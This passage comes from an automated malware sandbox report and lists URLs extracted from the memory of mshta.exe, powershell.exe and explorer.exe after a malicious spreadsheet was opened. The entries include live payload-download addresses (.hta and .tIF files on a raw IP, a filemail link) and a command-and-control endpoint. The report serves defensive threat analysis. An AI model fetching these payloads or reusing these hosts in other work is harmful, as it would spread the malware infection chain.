3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.59 (Debian) Server at prolinice.ga Port 80</address></body></html>

Source: mshta.exe, 00000005.00000003.423125156.000000000329C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.424134255.000000000329C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.422979100.000000000329C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000002.426654460.000000000329C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000011.00000003.487347079.0000000003C56000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000011.00000003.482683098.0000000003C56000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://107.172.44.178/
Source: mshta.exe, 00000005.00000003.423343761.000000000287D000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.424134255.0000000003253000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.423453903.000000000287E000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.421467560.00000000003D7000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.422979100.0000000003252000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.423322872.00000000003D1000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.424122404.0000000003241000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000002.426654460.0000000003253000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.423322872.0000000000370000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.421467560.0000000000371000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.423461007.0000000002880000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000005.00000002.426639453.0000000003241000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.423125156.0000000003253000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000002.426031812.00000000003D1000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000002.426031812.0000000000371000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.423310092.000000000323A000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000011.00000003.486943045.0000000003BF8000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000011.00000003.487409113.0000000003BF8000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000011.00000003.486994334.000000000014C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000011.00000003.478065149.0000000003170000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000011.00000003.476368039.000000000015F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://107.172.44.178/53/cg/bestthingsalwaysgetbesrentirelifethingstogdomybetterthignswithgreat.hta
Source: mshta.exe, 00000005.00000003.421467560.0000000000386000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000002.426031812.000000000031E000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000011.00000003.476368039.000000000014D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000011.00000002.487556654.00000000000FE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://107.172.44.178/53/cg/bestthingsalwaysgetbesrentirelifethingstogdomybetterthignswithgreat.hta.
Source: mshta.exe, 00000005.00000003.421467560.00000000003D7000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.423322872.00000000003D1000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000002.426031812.00000000003D1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://107.172.44.178/53/cg/bestthingsalwaysgetbesrentirelifethingstogdomybetterthignswithgreat.hta3
Source: mshta.exe, 00000005.00000003.423322872.0000000000370000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.421467560.0000000000371000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://107.172.44.178/53/cg/bestthingsalwaysgetbesrentirelifethingstogdomybetterthignswithgreat.hta7
Source: mshta.exe, 00000011.00000003.476368039.000000000015F000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000011.00000002.487590703.000000000015F000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000011.00000003.487328121.0000000003BBD000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000011.00000002.487807567.0000000003BBD000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000011.00000003.487491030.000000000015F000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000011.00000003.486994334.000000000015F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://107.172.44.178/53/cg/bestthingsalwaysgetbesrentirelifethingstogdomybetterthignswithgreat.htaC
Source: mshta.exe, 00000011.00000003.486994334.000000000014C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000011.00000003.476368039.000000000014D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://107.172.44.178/53/cg/bestthingsalwaysgetbesrentirelifethingstogdomybetterthignswithgreat.htaM
Source: mshta.exe, 00000011.00000002.488032754.0000000004970000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://107.172.44.178/53/cg/bestthingsalwaysgetbesrentirelifethingstogdomybetterthignswithgreat.htac
Source: mshta.exe, 00000005.00000003.424122404.0000000003241000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000002.426639453.0000000003241000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.423310092.000000000323A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://107.172.44.178/53/cg/bestthingsalwaysgetbesrentirelifethingstogdomybetterthignswithgreat.htae
Source: mshta.exe, 00000005.00000003.423293485.0000000002875000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000011.00000003.486546130.0000000003165000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000011.00000003.482417273.0000000003165000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://107.172.44.178/53/cg/bestthingsalwaysgetbesrentirelifethingstogdomybetterthignswithgreat.htah
Source: mshta.exe, 00000005.00000003.421467560.00000000003D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://107.172.44.178/53/cg/bestthingsalwaysgetbesrentirelifethingstogdomybetterthignswithgreat.htau
Source: powershell.exe, 00000006.00000002.447990130.0000000002281000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.494305051.000000000218B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://107.172.44.178/53/seemybe
Source: powershell.exe, 00000013.00000002.494305051.000000000218B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://107.172.44.178/53/seemybestnetworkwhichgivebestthingsentirelifewithme.tIF
Source: powershell.exe, 00000006.00000002.454017233.000000001A8CC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://107.172.44.178/53/seemybestnetworkwhichgivebestthingsentirelifewithme.tIF=
Source: powershell.exe, 00000006.00000002.454017233.000000001A8CC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://107.172.44.178/53/seemybestnetworkwhichgivebestthingsentirelifewithme.tIFa
Source: powershell.exe, 00000006.00000002.447990130.0000000002281000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.494305051.000000000218B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://107.172.44.178/53/seemybestnetworkwhichgivebestthingsentirelifewithme.tIFp
Source: powershell.exe, 00000013.00000002.509085075.000000001AC90000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://107.172.44.178/53/seemybestnetworkwhichgivebestthingsentirelifewithme.tIFs
Source: powershell.exe, 00000013.00000002.509085075.000000001AC90000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://107.172.44.178/53/seemybestnetworkwhichgivebestthingsentirelifewithme.tIF~
Source: mshta.exe, 00000005.00000003.423125156.000000000329C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.424134255.000000000329C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.422979100.000000000329C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000002.426654460.000000000329C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://107.172.44.178/fW~(
Source: mshta.exe, 00000005.00000003.424134255.0000000003253000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.422979100.0000000003252000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000002.426654460.0000000003253000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.423125156.0000000003253000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000011.00000003.486943045.0000000003BF8000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000011.00000003.487409113.0000000003BF8000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000011.00000003.483846051.0000000003BF8000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000011.00000002.487839067.0000000003BF8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl06
Source: mshta.exe, 00000005.00000003.424134255.0000000003253000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.422979100.0000000003252000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000002.426654460.0000000003253000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.423125156.0000000003253000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000011.00000003.486943045.0000000003BF8000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000011.00000003.487328121.0000000003BE7000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000011.00000003.487409113.0000000003BF8000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000011.00000003.487328121.0000000003BDA000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000011.00000003.483846051.0000000003BF8000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000011.00000002.487839067.0000000003BF8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/UTN-USERFirst-Hardware.crl06
Source: mshta.exe, 00000005.00000003.424134255.0000000003253000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.422979100.0000000003252000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000002.426654460.0000000003253000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.423125156.0000000003253000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000011.00000003.486943045.0000000003BF8000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000011.00000003.487409113.0000000003BF8000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000011.00000003.483846051.0000000003BF8000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000011.00000002.487839067.0000000003BF8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.entrust.net/2048ca.crl0
Source: mshta.exe, 00000005.00000003.424134255.0000000003253000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.422979100.0000000003252000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000002.426654460.0000000003253000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.423125156.0000000003253000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000011.00000003.486943045.0000000003BF8000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000011.00000003.487328121.0000000003BE7000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000011.00000003.487409113.0000000003BF8000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000011.00000003.483846051.0000000003BF8000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000011.00000002.487839067.0000000003BF8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.entrust.net/server1.crl0
Source: mshta.exe, 00000005.00000003.424134255.0000000003253000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.422979100.0000000003252000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000002.426654460.0000000003253000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.423125156.0000000003253000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000011.00000003.486943045.0000000003BF8000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000011.00000003.487409113.0000000003BF8000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000011.00000003.483846051.0000000003BF8000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000011.00000002.487839067.0000000003BF8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: mshta.exe, 00000005.00000003.424134255.0000000003253000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.422979100.0000000003252000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000002.426654460.0000000003253000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.423125156.0000000003253000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000011.00000003.486943045.0000000003BF8000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000011.00000003.487409113.0000000003BF8000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000011.00000003.483846051.0000000003BF8000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000011.00000002.487839067.0000000003BF8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0
Source: mshta.exe, 00000005.00000003.424134255.0000000003253000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.422979100.0000000003252000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000002.426654460.0000000003253000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.423125156.0000000003253000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000011.00000003.486943045.0000000003BF8000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000011.00000003.487328121.0000000003BE7000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000011.00000003.487409113.0000000003BF8000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000011.00000003.483846051.0000000003BF8000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000011.00000002.487839067.0000000003BF8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.pkioverheid.nl/DomOvLatestCRL.crl0
Source: powershell.exe, 00000006.00000002.454017233.000000001A832000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://go.cr
Source: powershell.exe, 00000006.00000002.447990130.0000000002C81000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.494305051.000000000218B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://go.micros
Source: explorer.exe, 0000001F.00000000.521354537.00000000001D6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://java.sun.com
Source: powershell.exe, 00000006.00000002.453312735.00000000120B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: mshta.exe, 00000005.00000003.424134255.0000000003253000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.422979100.0000000003252000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000002.426654460.0000000003253000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.423125156.0000000003253000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000011.00000003.486943045.0000000003BF8000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000011.00000003.487409113.0000000003BF8000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000011.00000003.483846051.0000000003BF8000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000011.00000002.487839067.0000000003BF8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0
Source: mshta.exe, 00000005.00000003.424134255.0000000003253000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.422979100.0000000003252000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000002.426654460.0000000003253000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.423125156.0000000003253000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000011.00000003.487328121.0000000003BDA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0%
Source: mshta.exe, 00000005.00000003.424134255.0000000003253000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.422979100.0000000003252000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000002.426654460.0000000003253000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.423125156.0000000003253000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000011.00000003.486943045.0000000003BF8000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000011.00000003.487409113.0000000003BF8000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000011.00000003.483846051.0000000003BF8000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000011.00000002.487839067.0000000003BF8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0-
Source: mshta.exe, 00000005.00000003.424134255.0000000003253000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.422979100.0000000003252000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000002.426654460.0000000003253000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.423125156.0000000003253000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000011.00000003.486943045.0000000003BF8000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000011.00000003.487328121.0000000003BE7000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000011.00000003.487409113.0000000003BF8000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000011.00000003.483846051.0000000003BF8000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000011.00000002.487839067.0000000003BF8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0/
Source: mshta.exe, 00000005.00000003.424134255.0000000003253000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.422979100.0000000003252000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000002.426654460.0000000003253000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.423125156.0000000003253000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000011.00000003.487328121.0000000003BDA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com05
Source: mshta.exe, 00000005.00000003.424134255.0000000003253000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.422979100.0000000003252000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000002.426654460.0000000003253000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.423125156.0000000003253000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000011.00000003.486943045.0000000003BF8000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000011.00000003.487328121.0000000003BE7000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000011.00000003.487409113.0000000003BF8000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000011.00000003.483846051.0000000003BF8000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000011.00000002.487839067.0000000003BF8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.entrust.net03
Source: mshta.exe, 00000005.00000003.424134255.0000000003253000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.422979100.0000000003252000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000002.426654460.0000000003253000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.423125156.0000000003253000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000011.00000003.486943045.0000000003BF8000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000011.00000003.487409113.0000000003BF8000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000011.00000003.483846051.0000000003BF8000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000011.00000002.487839067.0000000003BF8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.entrust.net0D
Source: explorer.exe, 00000026.00000002.601139642.0000000000644000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://prolinice.ga/
Source: explorer.exe, 00000026.00000002.601139642.0000000000644000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://prolinice.ga/application/x-www-form-urlencodedMozilla/5.0
Source: explorer.exe, 00000026.00000002.601139642.0000000000614000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000026.00000002.601139642.0000000000644000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000027.00000002.573733607.000000000036E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000028.00000002.580498060.00000000002F4000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000002A.00000002.624702366.000000000023E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://prolinice.ga/index.php
Source: explorer.exe, 00000026.00000002.601139642.0000000000614000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000027.00000002.573733607.000000000036E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000028.00000002.580498060.00000000002F4000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000002A.00000002.624702366.000000000023E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://prolinice.ga/index.phpMozilla/5.0
Source: explorer.exe, 00000026.00000002.601139642.0000000000644000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://prolinice.ga/ndex.php
Source: powershell.exe, 00000006.00000002.447990130.0000000002081000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.511129884.00000000023C1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.494305051.0000000001F81000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001C.00000002.560114781.0000000002471000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: explorer.exe, 0000001F.00000000.521354537.00000000001D6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.autoitscript.com/autoit3
Source: mshta.exe, 00000005.00000003.424134255.0000000003253000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.422979100.0000000003252000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000002.426654460.0000000003253000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.423125156.0000000003253000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000011.00000003.486943045.0000000003BF8000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000011.00000003.487409113.0000000003BF8000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000011.00000003.483846051.0000000003BF8000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000011.00000002.487839067.0000000003BF8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.digicert.com.my/cps.htm02
Source: mshta.exe, 00000005.00000003.424134255.0000000003253000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.422979100.0000000003252000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000002.426654460.0000000003253000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.423125156.0000000003253000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000011.00000003.486943045.0000000003BF8000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000011.00000003.487328121.0000000003BE7000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000011.00000003.487409113.0000000003BF8000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000011.00000003.483846051.0000000003BF8000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000011.00000002.487839067.0000000003BF8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.diginotar.nl/cps/pkioverheid0
Source: explorer.exe, 0000001F.00000000.522442081.00000000072E4000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001F.00000000.521769301.000000000260E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001F.00000000.522082384.0000000003DB1000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.piriform.com/ccleaner
Source: explorer.exe, 0000001F.00000000.522442081.00000000072E4000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001F.00000000.521769301.000000000260E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001F.00000000.522082384.0000000003DB1000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.piriform.com/ccleanerhttp://www.piriform.com/ccleanerv
Source: explorer.exe, 0000001F.00000000.521769301.000000000260E000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.piriform.com/ccleanerxe
Source: powershell.exe, 00000010.00000002.511129884.00000000025C2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001C.00000002.560114781.0000000002672000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://1017.filemail.com
Source: powershell.exe, 0000001C.00000002.560114781.0000000002672000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://1017.filemail.com/api/file/get?filekey=2Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvStGrnTICfFhmTKj3LC6S
Source: explorer.exe, 00000026.00000003.591178920.0000000000658000.00000004.00000020.00020000.00000000.sdmp, 402E.tmp.38.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: explorer.exe, 00000026.00000003.591178920.0000000000658000.00000004.00000020.00020000.00000000.sdmp, 402E.tmp.38.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: powershell.exe, 00000006.00000002.453312735.00000000120B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000006.00000002.453312735.00000000120B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000006.00000002.453312735.00000000120B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: explorer.exe, 00000026.00000003.591178920.0000000000658000.00000004.00000020.00020000.00000000.sdmp, 402E.tmp.38.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: explorer.exe, 00000026.00000003.591178920.0000000000658000.00000004.00000020.00020000.00000000.sdmp, 402E.tmp.38.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: explorer.exe, 00000026.00000003.591178920.0000000000658000.00000004.00000020.00020000.00000000.sdmp, 402E.tmp.38.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: mshta.exe, 00000005.00000002.426631892.0000000003230000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000011.00000003.487347079.0000000003C56000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000011.00000003.487328121.0000000003BBD000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000011.00000002.487807567.0000000003BBD000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000011.00000003.482683098.0000000003C56000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://link.uebie.de/
Source: mshta.exe, 00000005.00000003.421467560.00000000003A0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.423322872.0000000000370000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000002.426031812.000000000034A000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.421467560.0000000000371000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.423322872.00000000003A0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000002.426031812.00000000003A0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000002.426031812.0000000000371000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000011.00000003.487524489.000000000014D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000011.00000002.487590703.0000000000192000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000011.00000003.486994334.0000000000192000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000011.00000003.476368039.00000000001B4000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000011.00000002.487556654.000000000012A000.00000004.00000020.00020000.00000000.sdmp, #U3010TW-S PO#U3011PO#3311-20241118003.xls, D6330000.0.dr	String found in binary or memory: 